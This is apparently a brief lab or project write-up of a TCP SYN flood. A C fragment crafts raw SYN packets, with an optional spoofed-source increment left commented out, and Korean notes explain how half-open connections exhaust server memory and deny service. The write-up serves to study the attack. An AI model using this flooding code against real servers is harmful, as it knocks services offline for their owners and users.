Wireshark Capture
210301_syn.pcapng

Code Implementation
//make pseudo ip header.
struct iphdr ipv4_h;
ipv4_h = prepare_empty_ipv4();
ipv4_h = ipv4_set_protocol(ipv4_h, IPPROTO_TCP);
ipv4_h = ipv4_set_saddr(ipv4_h, inet_addr(tcpsyn_src_ip));
ipv4_h = ipv4_set_daddr(ipv4_h, inet_addr(tcpsyn_dest_ip));
//modify tcpsyn_src_ip, increment 1.
//next_ip_addr(tcpsyn_src_ip, 1);
//make pseudo tcp header.
struct tcphdr tcp_h;
tcp_h = prepare_empty_tcp();
//set src port number random assigned 7777
tcp_h = tcp_set_source(tcp_h, 7777);
tcp_h = tcp_set_dest(tcp_h, tcpsyn_dest_port);
tcp_h = tcp_set_seq(tcp_h, tcpsyn_total);
/***For SYN TCP request, ACK seq should not be provided.***/
//tcp_h = tcp_set_ack_seq(tcp_h,35623);
tcp_h = tcp_set_syn_flag(tcp_h);
tcp_h = tcp_get_checksum(ipv4_h, tcp_h, NULL, 0);
//modify ipv4 after tcp part is added.
ipv4_h = ipv4_add_size(ipv4_h, sizeof(tcp_h));
//assemble ip part with tcp part.
char *packet = packet_assemble(ipv4_h, &tcp_h, sizeof(tcp_h));
//Send Part
send_packet(sock, ipv4_h, packet, tcpsyn_dest_port);
free(packet);
tcpsyn_produced++;
How it works
- TCP 통신을 하기 위해선 반드시 3-way-handshake 과정을 거쳐야한다.
- 3-way handshake 과정의 시작을 요청할 때 TCP 패킷의 SYN flag를 세팅해서 전송하게 되고 Server는 Client의 접속을 받아들이기 위해 RAM에 공간을 확보한다.
- 이 부분에서 Client가 SYN 패킷만 계속 보내면 Server는 Client를 위한 메모리를 확보해 둔 상태로 ACK 패킷을 기다리게된다.
- 그리고 이 과정이 반복되면 Server는 더 이상 서비스를 제공할 수 없게된다.